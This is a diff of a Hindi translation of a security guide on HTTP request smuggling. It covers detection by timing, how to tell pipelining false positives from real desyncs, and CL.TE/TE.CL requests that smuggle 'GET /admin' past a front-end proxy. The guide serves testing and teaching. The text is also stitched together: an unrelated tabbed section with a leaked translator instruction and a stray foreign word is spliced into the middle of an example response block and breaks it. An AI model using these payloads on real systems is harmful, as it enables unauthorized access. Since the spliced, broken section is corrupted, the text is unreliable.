 ../abusing-hop-by-hop-headers.md
 {{#endref}}
-## Finding HTTP Request Smuggling
+## HTTP Request Smuggling का पता लगाना
-HTTP request smuggling कमजोरियों की पहचान अक्सर समय तकनीकों का उपयोग करके की जा सकती है, जो इस पर निर्भर करती हैं कि सर्वर को हेरफेर किए गए अनुरोधों का जवाब देने में कितना समय लगता है। ये तकनीकें CL.TE और TE.CL कमजोरियों का पता लगाने के लिए विशेष रूप से उपयोगी हैं। इन तरीकों के अलावा, ऐसी कमजोरियों को खोजने के लिए अन्य रणनीतियाँ और उपकरण भी हैं:
+HTTP request smuggling vulnerabilities की पहचान अक्सर timing techniques के द्वारा की जा सकती है, जो यह देखती हैं कि manipulated requests पर server को प्रतिक्रिया देने में कितना समय लगता है। ये तकनीकें विशेष रूप से CL.TE और TE.CL vulnerabilities का पता लगाने में उपयोगी हैं। इन तरीकों के अलावा भी अन्य रणनीतियाँ और टूल हैं जो ऐसी vulnerabilities खोजने के लिए उपयोग किए जा सकते हैं:
 ### Finding CL.TE Vulnerabilities Using Timing Techniques
 - **Method:**
- एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।
+- ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने पर मजबूर कर देगा।
 - **Example:**
 ```
@ -223,18 +225,18 @@ A
 ```
 - **Observation:**
- फ्रंट-एंड सर्वर `Content-Length` के आधार पर अनुरोध को संसाधित करता है और संदेश को समय से पहले काट देता है।
+- front-end server request को `Content-Length` के आधार पर प्रोसेस करता है और संदेश को समय से पहले काट देता है।
- बैक-एंड सर्वर, जो एक चंक्ड संदेश की अपेक्षा करता है, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
+- back-end server, चंकेड संदेश की उम्मीद करता है, अगले chunk के आने की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
 - **Indicators:**
- प्रतिक्रिया में टाइमआउट या लंबी देरी।
+- response में timeouts या लंबे delays।
- बैक-एंड सर्वर से 400 Bad Request त्रुटि प्राप्त करना, कभी-कभी विस्तृत सर्वर जानकारी के साथ।
+- back-end server से 400 Bad Request error मिलना, कभी-कभी विस्तृत server जानकारी के साथ।
 ### Finding TE.CL Vulnerabilities Using Timing Techniques
 - **Method:**
- एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।
+- ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने पर मजबूर कर देगा।
 - **Example:**
 ```
@ -249,41 +251,41 @@ X
 ```
 - **Observation:**
- फ्रंट-एंड सर्वर `Transfer-Encoding` के आधार पर अनुरोध को संसाधित करता है और पूरे संदेश को आगे बढ़ाता है।
+- front-end server request को `Transfer-Encoding` के आधार पर प्रोसेस करता है और पूरा संदेश फॉरवर्ड कर देता है।
- बैक-एंड सर्वर, जो `Content-Length` के आधार पर एक संदेश की अपेक्षा करता है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
+- back-end server, `Content-Length` के आधार पर संदेश की उम्मीद करता है और अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
 ### Other Methods to Find Vulnerabilities
 - **Differential Response Analysis:**
- अनुरोध के थोड़े भिन्न संस्करण भेजें और देखें कि क्या सर्वर प्रतिक्रियाएँ अप्रत्याशित तरीके से भिन्न होती हैं, जो एक पार्सिंग विसंगति को इंगित करती हैं।
+- थोड़ा अलग-अलग वेरिएंट वाले request भेजें और देखें कि क्या server के responses किसी अनअपेक्षित तरीके से भिन्न होते हैं, जो parsing discrepancy का संकेत देता है।
 - **Using Automated Tools:**
- Burp Suite के 'HTTP Request Smuggler' एक्सटेंशन जैसे उपकरण स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं, विभिन्न प्रकार के अस्पष्ट अनुरोध भेजकर और प्रतिक्रियाओं का विश्लेषण करके।
+- Burp Suite's 'HTTP Request Smuggler' extension जैसे tools ambiguous requests के विभिन्न रूप भेजकर और responses का विश्लेषण करके इन vulnerabilities का स्वतः परीक्षण कर सकते हैं।
 - **Content-Length Variance Tests:**
- विभिन्न `Content-Length` मानों के साथ अनुरोध भेजें जो वास्तविक सामग्री की लंबाई के साथ मेल नहीं खाते और देखें कि सर्वर ऐसे असंगतियों को कैसे संभालता है।
+- ऐसे requests भेजें जिनमें `Content-Length` के मान वास्तविक content length से मेल नहीं खाते और देखें कि server उन mismatches को कैसे हैंडल करता है।
 - **Transfer-Encoding Variance Tests:**
- अस्पष्ट या गलत `Transfer-Encoding` हेडर के साथ अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेर पर कैसे प्रतिक्रिया करते हैं।
+- ऐसे requests भेजें जिनमें obfuscated या malformed `Transfer-Encoding` headers हों और देखें कि front-end और back-end servers उन परिवर्तनों पर कितना अलग प्रतिक्रिया करते हैं।
 ### HTTP Request Smuggling Vulnerability Testing
-समय तकनीकों की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि क्या क्लाइंट अनुरोधों को हेरफेर किया जा सकता है। एक सीधा तरीका यह है कि आप अपने अनुरोधों को विषाक्त बनाने का प्रयास करें, उदाहरण के लिए, `/` पर एक अनुरोध करना जिससे 404 प्रतिक्रिया प्राप्त हो। पहले चर्चा किए गए `CL.TE` और `TE.CL` उदाहरण [Basic Examples](#basic-examples) में दिखाते हैं कि कैसे एक क्लाइंट के अनुरोध को विषाक्त करके 404 प्रतिक्रिया प्राप्त की जा सकती है, भले ही क्लाइंट एक अलग संसाधन तक पहुँचने का प्रयास कर रहा हो।
+Timing techniques की प्रभावशीलता की पुष्टि करने के बाद, यह सुनिश्चित करना आवश्यक है कि client requests को वास्तव में manipulate किया जा सकता है। एक सरल तरीका यह है कि अपनी requests को poison करने का प्रयास करें, उदाहरण के लिए, `/` पर किया गया request 404 response दे। पहले Discuss किए गए `CL.TE` और `TE.CL` उदाहरण [Basic Examples](#basic-examples) में दिखाते हैं कि कैसे client के request को poison करके 404 response करवा सकते हैं, जबकि client किसी अन्य resource तक पहुँचने का प्रयास कर रहा होता है।
-**Key Considerations**
+**मुख्य विचार**
-जब अन्य अनुरोधों में हस्तक्षेप करके अनुरोध स्मगलिंग कमजोरियों का परीक्षण करें, तो ध्यान में रखें:
+जब आप दूसरों के requests में हस्तक्षेप करके request smuggling की टेस्टिंग कर रहे हों, तो ध्यान रखें:
- **Distinct Network Connections:** "हमला" और "सामान्य" अनुरोधों को अलग-अलग नेटवर्क कनेक्शनों के माध्यम से भेजा जाना चाहिए। दोनों के लिए एक ही कनेक्शन का उपयोग करना कमजोरियों की उपस्थिति को मान्य नहीं करता है।
+- **Distinct Network Connections:** "attack" और "normal" requests अलग network connections पर भेजने चाहिए। दोनों के लिए एक ही connection का उपयोग करना vulnerability की पुष्टि नहीं करता।
- **Consistent URL and Parameters:** दोनों अनुरोधों के लिए समान URLs और पैरामीटर नामों का उपयोग करने का प्रयास करें। आधुनिक एप्लिकेशन अक्सर URL और पैरामीटर के आधार पर अनुरोधों को विशिष्ट बैक-एंड सर्वरों पर रूट करते हैं। इन्हें मेल करने से यह संभावना बढ़ती है कि दोनों अनुरोधों को एक ही सर्वर द्वारा संसाधित किया जाएगा, जो सफल हमले के लिए एक पूर्वापेक्षा है।
+- **Consistent URL and Parameters:** दोनों requests के लिए समान URL और parameter names उपयोग करने का प्रयास करें। आधुनिक applications अक्सर URL और parameters के आधार पर requests को विशिष्ट back-end servers पर route करती हैं। मेल खाने से यह संभावना बढ़ती है कि दोनों requests को एक ही server द्वारा प्रोसेस किया जाएगा, जो successful attack के लिए जरूरी है।
- **Timing and Racing Conditions:** "सामान्य" अनुरोध, जो "हमला" अनुरोध से हस्तक्षेप का पता लगाने के लिए है, अन्य समवर्ती एप्लिकेशन अनुरोधों के खिलाफ प्रतिस्पर्धा करता है। इसलिए, "सामान्य" अनुरोध को "हमला" अनुरोध के तुरंत बाद भेजें। व्यस्त एप्लिकेशन में निर्णायक कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
+- **Timing and Racing Conditions:** "normal" request, जो "attack" request के हस्तक्षेप का पता लगाने के लिए है, अन्य concurrent application requests के साथ प्रतिस्पर्धा करता है। इसलिए "normal" request को तुरंत "attack" request के बाद भेजें। व्यस्त applications में conclusive पुष्टि के लिए कई बार प्रयास आवश्यक हो सकते हैं।
- **Load Balancing Challenges:** फ्रंट-एंड सर्वर जो लोड बैलेंसर के रूप में कार्य करते हैं, अनुरोधों को विभिन्न बैक-एंड सिस्टमों में वितरित कर सकते हैं। यदि "हमला" और "सामान्य" अनुरोध अलग-अलग सिस्टम पर समाप्त होते हैं, तो हमला सफल नहीं होगा। यह लोड बैलेंसिंग पहलू कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता कर सकता है।
+- **Load Balancing Challenges:** front-end servers जो load balancers के रूप में कार्य करते हैं, requests को विभिन्न back-end systems पर बाँट सकते हैं। अगर "attack" और "normal" requests अलग systems पर पहुँच जाएँ, तो attack सफल नहीं होगा। इस load balancing वजह से vulnerability की पुष्टि के लिए कई प्रयास करने पड़ सकते हैं।
- **Unintended User Impact:** यदि आपका हमला अनजाने में किसी अन्य उपयोगकर्ता के अनुरोध (जो "सामान्य" अनुरोध नहीं है जिसे आपने पहचान के लिए भेजा था) को प्रभावित करता है, तो यह इंगित करता है कि आपके हमले ने किसी अन्य एप्लिकेशन उपयोगकर्ता को प्रभावित किया। निरंतर परीक्षण अन्य उपयोगकर्ताओं को बाधित कर सकता है, जिससे एक सतर्क दृष्टिकोण की आवश्यकता होती है।
+- **Unintended User Impact:** अगर आपका attack किसी अन्य उपयोगकर्ता के request (आपके भेजे गए "normal" request के अलावा) पर प्रभाव डालता है, तो यह संकेत है कि आपका attack किसी अन्य application user को प्रभावित कर गया। लगातार परीक्षण अन्य उपयोगकर्ताओं को प्रभावित कर सकता है, इसलिए सावधानी बरतें।
-## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
+## HTTP/1.1 pipelining के artifacts और genuine request smuggling में अंतर
-कनेक्शन पुन: उपयोग (कीप-एलाइव) और पाइपलाइनिंग परीक्षण उपकरणों में "स्मगलिंग" का भ्रम पैदा कर सकते हैं जो एक ही सॉकेट पर कई अनुरोध भेजते हैं। हानिरहित क्लाइंट-साइड कलाकृतियों को वास्तविक सर्वर-साइड डीसिंक से अलग करना सीखें।
+Connection reuse (keep-alive) और pipelining आसानी से उन testing tools में "smuggling" के भ्रम पैदा कर सकते हैं जो एक ही socket पर कई requests भेजते हैं। harmless client-side artifacts को real server-side desync से अलग करना सीखें।
-### Why pipelining creates classic false positives
+### क्यों pipelining क्लासिक false positives बनाता है
-HTTP/1.1 एकल TCP/TLS कनेक्शन का पुन: उपयोग करता है और एक ही स्ट्रीम पर अनुरोधों और प्रतिक्रियाओं को जोड़ता है। पाइपलाइनिंग में, क्लाइंट एक के बाद एक कई अनुरोध भेजता है और क्रम में प्रतिक्रियाओं पर निर्भर करता है। एक सामान्य झूठी सकारात्मकता यह है कि एक ही कनेक्शन पर एक गलत CL.0-शैली का पेलोड दो बार भेजा जाता है:
+HTTP/1.1 एक single TCP/TLS connection को reuse करता है और उसी stream पर requests और responses को concatenate करता है। pipelining में, client कई requests को लगातार भेजता है और in-order responses पर निर्भर रहता है। एक सामान्य false-positive यह है कि एक malformed CL.0-style payload को एक ही connection पर दो बार resend किया जाए:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -292,7 +294,39 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-प्रतिक्रियाएँ इस तरह दिख सकती हैं:
+# HTTP request smuggling
 {#tabs}
 {#tab name="अवलोकन"}
 HTTP request smuggling एक ऐसी technique है जो backend servers या intermediaries के बीच parsing असंगतियों का फायदा उठाती है। यह अक्सर तब सफल होता है जब किसी proxy या front-end और backend के बीच Content-Length और Transfer-Encoding को अलग-अलग तरीके से interpret किया जाता है। सफल smuggling से request hijacking, cache poisoning, और authentication bypass जैसे असर हो सकते हैं।
 {#endtab}
 {#tab name="डिटेक्शन"}
 - बेसिक चेक: अलग-अलग combinations של Content-Length और Transfer-Encoding वाले requests भेजें और server की प्रतिक्रियाओं का निरीक्षण करें।
 - असमान parsing के लक्षण: unexpected status codes, truncated responses, या दूसरे users के responses में अतिरिक्त data।
 - automated tools: कई scanners HTTP request smuggling के लिए परीक्षण करते हैं, पर manual परीक्षण ज़्यादा reliable होता है।
 {#endtab}
 {#tab name="Exploit उदाहरण"}
 नीचे एक सामान्य उदाहरण है जहाँ Content-Length और Transfer-Encoding दोनों मौजूद हैं। ध्यान रखें कि code block को translate न करें।
 ```http
 POST / HTTP/1.1
 Host: vulnerable
 Content-Length: 13
 Transfer-Encoding: chunked
 0
 GET /admin HTTP/1.1
 Host: vulnerable
 ```
 ऊपर के payload में यदि proxy Transfer-Encoding को पहले process करता है और backend Content-Length को पहले, तो backend एक अतिरिक्त GET request को अलग से interpret कर सकता है, जिससे smuggled request execute हो सकता है।
 {#endtab}
 {#endtabs}
 अधिक पढ़ने के लिए देखें: tests/README.md
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -306,7 +340,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-यदि सर्वर ने गलत `Content_Length` की अनदेखी की, तो कोई FE↔BE desync नहीं है। पुनः उपयोग के साथ, आपका क्लाइंट वास्तव में इस बाइट-स्ट्रीम को भेजता है, जिसे सर्वर ने दो स्वतंत्र अनुरोधों के रूप में पार्स किया:
+यदि सर्वर malformed `Content_Length` को अनदेखा कर देता है, तो कोई FE↔BE desync नहीं होता। reuse के साथ, आपका client वास्तव में यह byte-stream भेजता है, जिसे server ने दो स्वतंत्र requests के रूप में parsed किया:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -320,78 +354,78 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: कोई नहीं। आपने बस अपने क्लाइंट को सर्वर फ्रेमिंग से असंगत कर दिया।
+प्रभाव: कोई नहीं। आपने बस अपने client को server framing से desynced कर दिया।
 > [!TIP]
-> Burp मॉड्यूल जो पुन: उपयोग/पाइपलाइनिंग पर निर्भर करते हैं: Turbo Intruder के साथ `requestsPerConnection>1`, Intruder के साथ "HTTP/1 कनेक्शन पुन: उपयोग", Repeater "समूह को अनुक्रम में भेजें (एकल कनेक्शन)" या "कनेक्शन पुन: उपयोग सक्षम करें"।
+> Burp मॉड्यूल जो reuse/pipelining पर निर्भर हैं: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
-### लिटमस परीक्षण: पाइपलाइनिंग या वास्तविक असंगति?
+### Litmus tests: pipelining or real desync?
-1. पुन: उपयोग बंद करें और फिर से परीक्षण करें
+1. Disable reuse and re-test
- Burp Intruder/Repeater में, HTTP/1 पुन: उपयोग बंद करें और "समूह को अनुक्रम में भेजें" से बचें।
+- Burp Intruder/Repeater में, HTTP/1 reuse बंद करें और "Send group in sequence" से बचें।
- Turbo Intruder में, `requestsPerConnection=1` सेट करें और `pipeline=False` करें।
+- Turbo Intruder में, `requestsPerConnection=1` और `pipeline=False` सेट करें।
- यदि व्यवहार गायब हो जाता है, तो यह संभवतः क्लाइंट-साइड पाइपलाइनिंग थी, जब तक कि आप कनेक्शन-लॉक्ड/स्टेटफुल लक्ष्यों या क्लाइंट-साइड असंगति से न निपट रहे हों।
+- यदि व्यवहार गायब हो जाता है, तो संभवतः यह client-side pipelining था, जब तक कि आप connection-locked/stateful targets या client-side desync के साथ नहीं काम कर रहे हों।
-2. HTTP/2 नेस्टेड-रिस्पॉन्स जांच
+2. HTTP/2 nested-response check
- एक HTTP/2 अनुरोध भेजें। यदि प्रतिक्रिया शरीर में एक पूर्ण नेस्टेड HTTP/1 प्रतिक्रिया है, तो आपने एक बैकएंड पार्सिंग/असंगति बग साबित किया है, न कि एक शुद्ध क्लाइंट आर्टिफैक्ट।
+- एक HTTP/2 request भेजें। यदि response body में एक पूरा nested HTTP/1 response शामिल है, तो आपने pure client artifact के बजाय backend parsing/desync bug साबित कर दिया है।
-3. कनेक्शन-लॉक्ड फ्रंट-एंड के लिए आंशिक-अनुरोध जांच
+3. Partial-requests probe for connection-locked front-ends
- कुछ FE केवल तब तक अपस्ट्रीम BE कनेक्शन का पुन: उपयोग करते हैं जब क्लाइंट अपने कनेक्शन का पुन: उपयोग करता है। FE व्यवहार का पता लगाने के लिए आंशिक-अनुरोधों का उपयोग करें जो क्लाइंट पुन: उपयोग को दर्शाता है।
+- कुछ FEs केवल तब upstream BE connection reuse करते हैं जब client ने अपना reuse किया हो। FE व्यवहार जो client reuse को mirror करता है, पहचानने के लिए partial-requests का उपयोग करें।
- कनेक्शन-लॉक्ड तकनीक के लिए PortSwigger "Browser‑Powered Desync Attacks" देखें।
+- connection-locked technique के लिए PortSwigger "Browser‑Powered Desync Attacks" देखें।
-4. स्टेट प्रॉब्स
+4. State probes
- एक ही TCP कनेक्शन पर पहले और बाद के अनुरोधों के बीच के अंतर की तलाश करें (पहले अनुरोध का रूटिंग/मान्यता)।
+- एक ही TCP connection पर first- vs subsequent-request के बीच के अंतर खोजें (first-request routing/validation)।
- Burp "HTTP Request Smuggler" में एक कनेक्शन-स्टेट प्रॉब शामिल है जो इसे स्वचालित करता है।
+- Burp "HTTP Request Smuggler" में एक connection‑state probe शामिल है जो इस प्रक्रिया को स्वचालित करता है।
-5. वायर का दृश्य
+5. Visualize the wire
- पुन: उपयोग और आंशिक अनुरोधों के साथ प्रयोग करते समय सीधे संयोजन और संदेश फ्रेमिंग का निरीक्षण करने के लिए Burp "HTTP Hacker" एक्सटेंशन का उपयोग करें।
+- reuse और partial requests के साथ प्रयोग करते समय concatenation और message framing को सीधे निरीक्षण करने के लिए Burp "HTTP Hacker" extension का उपयोग करें।
-### कनेक्शन-लॉक्ड अनुरोध स्मगलिंग (पुन: उपयोग आवश्यक)
+### Connection‑locked request smuggling (reuse-required)
-कुछ फ्रंट-एंड केवल तब अपस्ट्रीम कनेक्शन का पुन: उपयोग करते हैं जब क्लाइंट अपने कनेक्शन का पुन: उपयोग करता है। वास्तविक स्मगलिंग मौजूद है लेकिन यह क्लाइंट-साइड पुन: उपयोग पर निर्भर है। प्रभाव को अलग करने और साबित करने के लिए:
+कुछ front-ends केवल तब upstream connection reuse करते हैं जब client ने अपना reuse किया हो। वास्तविक smuggling मौजूद हो सकती है पर यह client-side reuse पर निर्भर होती है। भेद करने और प्रभाव साबित करने के लिए:
- सर्वर-साइड बग साबित करें
+- server-side bug साबित करें
- HTTP/2 नेस्टेड-रिस्पॉन्स जांच का उपयोग करें, या
+- HTTP/2 nested-response check का उपयोग करें, या
- दिखाएं कि FE केवल तब अपस्ट्रीम का पुन: उपयोग करता है जब क्लाइंट ऐसा करता है।
+- दिखाने के लिए partial-requests का उपयोग करें कि FE केवल तभी upstream reuse करता है जब client करता है।
- वास्तविक प्रभाव दिखाएं भले ही प्रत्यक्ष क्रॉस-यूजर सॉकेट दुरुपयोग अवरुद्ध हो:
+- यह दिखाएँ कि वास्तविक प्रभाव है भले ही direct cross-user socket abuse blocked हो:
- कैश विषाक्तता: असंगति के माध्यम से साझा कैश को विषाक्त करें ताकि प्रतिक्रियाएँ अन्य उपयोगकर्ताओं को प्रभावित करें।
+  - Cache poisoning: desync के माध्यम से shared caches को poison करें ताकि responses अन्य उपयोगकर्ताओं को प्रभावित करें।
- आंतरिक हेडर प्रकटीकरण: FE-इंजेक्टेड हेडर (जैसे, auth/trust हेडर) को दर्शाएं और प्रमाणीकरण बायपास के लिए पिवट करें।
+  - Internal header disclosure: FE-injected headers (उदा., auth/trust headers) को reflect करें और auth bypass की ओर pivot करें।
- FE नियंत्रण बायपास करें: फ्रंट-एंड के पार प्रतिबंधित पथ/विधियों को स्मगल करें।
+  - Bypass FE controls: restricted paths/methods को front-end से पार smuggle करें।
- होस्ट-हेडर दुरुपयोग: आंतरिक vhosts पर पिवट करने के लिए होस्ट रूटिंग विचलनों के साथ संयोजन करें।
+  - Host-header abuse: host routing quirks के साथ combine करके internal vhosts की ओर pivot करें।
- ऑपरेटर कार्यप्रवाह
+- Operator workflow
- नियंत्रित पुन: उपयोग के साथ पुन: उत्पन्न करें (Turbo Intruder `requestsPerConnection=2`, या Burp Repeater टैब समूह → "समूह को अनुक्रम में भेजें (एकल कनेक्शन)")।
+  - नियंत्रित reuse के साथ reproduce करें (Turbo Intruder `requestsPerConnection=2`, या Burp Repeater tab group → "Send group in sequence (single connection)")।
- फिर कैश/हेडर-लीक/नियंत्रण-बायपास प्राइमिटिव्स से जोड़ें और क्रॉस-यूजर या प्रमाणीकरण प्रभाव प्रदर्शित करें।
+  - फिर cache/header-leak/control-bypass primitives से chain करें और cross-user या authorization impact प्रदर्शित करें।
-> कनेक्शन-स्टेट हमलों को भी देखें, जो निकटता से संबंधित हैं लेकिन तकनीकी रूप से स्मगलिंग नहीं हैं:
+> See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
 >{{#endref}}
-### क्लाइंट-साइड असंगति प्रतिबंध
+### Client‑side desync constraints
-यदि आप ब्राउज़र-पावर्ड/क्लाइंट-साइड असंगति को लक्षित कर रहे हैं, तो दुर्भावनापूर्ण अनुरोध को क्रॉस-ओरिजिन द्वारा ब्राउज़र द्वारा भेजा जाना चाहिए। हेडर ओबफस्केशन ट्रिक्स काम नहीं करेंगी। नेविगेशन/फेच के माध्यम से पहुंच योग्य प्राइमिटिव्स पर ध्यान केंद्रित करें, और फिर कैश विषाक्तता, हेडर प्रकटीकरण, या फ्रंट-एंड नियंत्रण बायपास पर पिवट करें जहां डाउनस्ट्रीम घटक प्रतिक्रियाओं को दर्शाते हैं या कैश करते हैं।
+यदि आप browser-powered/client-side desync को target कर रहे हैं, तो malicious request browser द्वारा cross-origin भेजने योग्य होना चाहिए। Header obfuscation tricks काम नहीं करेंगी। navigation/fetch के माध्यम से पहुँचने योग्य primitives पर फ़ोकस करें, और फिर downstream components द्वारा responses के reflect या cache होने पर pivot करें — जैसे cache poisoning, header disclosure, या front-end control bypass।
-पृष्ठभूमि और एंड-टू-एंड कार्यप्रवाह के लिए:
+For background and end-to-end workflows:
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
-### निर्णय लेने में मदद करने के लिए उपकरण
+### Tooling to help decide
- HTTP Hacker (Burp BApp Store): निम्न-स्तरीय HTTP व्यवहार और सॉकेट संयोजन को उजागर करता है।
+- HTTP Hacker (Burp BApp Store): low-level HTTP व्यवहार और socket concatenation को उजागर करता है।
- "स्मगलिंग या पाइपलाइनिंग?" Burp Repeater कस्टम क्रिया: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
+- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: `requestsPerConnection` के माध्यम से कनेक्शन पुन: उपयोग पर सटीक नियंत्रण।
+- Turbo Intruder: `requestsPerConnection` के माध्यम से connection reuse पर सटीक नियंत्रण।
- Burp HTTP Request Smuggler: पहले अनुरोध के रूटिंग/मान्यता को स्पॉट करने के लिए एक कनेक्शन-स्टेट प्रॉब शामिल है।
+- Burp HTTP Request Smuggler: एक connection‑state probe शामिल है जो first‑request routing/validation को पकड़ता है।
 > [!NOTE]
-> पुन: उपयोग-केवल प्रभावों को गैर-मुद्दों के रूप में मानें जब तक कि आप सर्वर-साइड असंगति साबित नहीं कर सकते और ठोस प्रभाव (विषाक्त कैश आर्टिफैक्ट, लीक हुए आंतरिक हेडर जो विशेषाधिकार बायपास सक्षम करते हैं, बायपास किया गया FE नियंत्रण, आदि) संलग्न नहीं कर सकते।
+> reuse-only effects को गैर-समस्याओं के रूप में मानें जब तक कि आप server-side desync साबित न कर सकें और ठोस प्रभाव (poisoned cache artifact, leaked internal header जो privilege bypass सक्षम करे, bypassed FE control, आदि) प्रस्तुत न कर सकें।
-## HTTP Request Smuggling का दुरुपयोग
+## Abusing HTTP Request Smuggling
-### HTTP Request Smuggling के माध्यम से फ्रंट-एंड सुरक्षा को दरकिनार करना
+### Circumventing Front-End Security via HTTP Request Smuggling
-कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपायों को लागू करते हैं, आने वाले अनुरोधों की जांच करते हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का लाभ उठाकर दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुंच मिलती है। उदाहरण के लिए, `/admin` तक पहुंच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को अवरुद्ध कर रही है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र छोड़ दिया जाता है।
+कभी-कभी front-end proxies security measures लागू करते हैं और आने वाले requests की जांच करते हैं। हालांकि, इन measures को HTTP Request Smuggling का उपयोग करके बायपास किया जा सकता है, जिससे restricted endpoints तक unauthorized access हो सके। उदाहरण के लिए, बाहरी रूप से `/admin` तक पहुँच वर्जित हो सकती है और front-end proxy ऐसे प्रयासों को सक्रिय रूप से ब्लॉक कर सकता है। फिर भी, यह proxy smuggled HTTP request के अंदर embedded requests की जाँच न करके इन प्रतिबंधों को बायपास करने के लिए एक loophole छोड़ सकता है।
-HTTP Request Smuggling का उपयोग करके फ्रंट-एंड सुरक्षा नियंत्रणों को दरकिनार करने के तरीके को दर्शाने वाले निम्नलिखित उदाहरणों पर विचार करें, विशेष रूप से `/admin` पथ को लक्षित करना जो आमतौर पर फ्रंट-एंड प्रॉक्सी द्वारा संरक्षित होता है:
+निम्न उदाहरणों पर विचार करें जो दिखाते हैं कि HTTP Request Smuggling का उपयोग front-end security controls को बायपास करने के लिए कैसे किया जा सकता है, विशेष रूप से `/admin` path को लक्षित करके जो सामान्यतः front-end proxy द्वारा सुरक्षित होता है:
-**CL.TE उदाहरण**
+**CL.TE Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -408,9 +442,9 @@ Content-Length: 10
 x=
 ```
-CL.TE हमले में, प्रारंभिक अनुरोध के लिए `Content-Length` हेडर का उपयोग किया जाता है, जबकि बाद में एम्बेडेड अनुरोध `Transfer-Encoding: chunked` हेडर का उपयोग करता है। फ्रंट-एंड प्रॉक्सी प्रारंभिक `POST` अनुरोध को संसाधित करती है लेकिन एम्बेडेड `GET /admin` अनुरोध की जांच करने में विफल रहती है, जिससे `/admin` पथ तक अनधिकृत पहुंच की अनुमति मिलती है।
+In the CL.TE attack में प्रारंभिक request के लिए `Content-Length` header का उपयोग किया जाता है, जबकि बाद वाला embedded request `Transfer-Encoding: chunked` header का उपयोग करता है। front-end proxy प्रारंभिक `POST` request को process करता है लेकिन embedded `GET /admin` request का निरीक्षण करने में विफल रहता है, जिससे `/admin` path तक अनधिकृत पहुँच संभव हो जाती है।
-**TE.CL उदाहरण**
+**TE.CL Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -426,13 +460,13 @@ a=x
 0
 ```
-इसके विपरीत, TE.CL हमले में, प्रारंभिक `POST` अनुरोध `Transfer-Encoding: chunked` का उपयोग करता है, और इसके बाद का एम्बेडेड अनुरोध `Content-Length` हेडर के आधार पर संसाधित किया जाता है। CL.TE हमले के समान, फ्रंट-एंड प्रॉक्सी स्मगल्ड `GET /admin` अनुरोध को नजरअंदाज कर देती है, अनजाने में प्रतिबंधित `/admin` पथ तक पहुंच प्रदान करती है।
+इसके विपरीत, TE.CL attack में, प्रारंभिक `POST` request `Transfer-Encoding: chunked` का उपयोग करती है, और उसके बाद embedded request को `Content-Length` header के आधार पर process किया जाता है। CL.TE attack की तरह, front-end proxy smuggled `GET /admin` request को अनदेखा कर देता है, जिससे अनजाने में restricted `/admin` path तक access मिल जाता है।
-### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
-ऐप्लिकेशन अक्सर एक **फ्रंट-एंड सर्वर** का उपयोग करते हैं ताकि आने वाले अनुरोधों को संशोधित किया जा सके इससे पहले कि उन्हें बैक-एंड सर्वर को भेजा जाए। एक सामान्य संशोधन में हेडर जोड़ना शामिल होता है, जैसे `X-Forwarded-For: <IP of the client>` ताकि क्लाइंट का IP बैक-एंड को भेजा जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह **सुरक्षाओं को बायपास** करने या **छिपी हुई जानकारी या एंडपॉइंट्स** को उजागर करने के तरीके प्रकट कर सकता है।
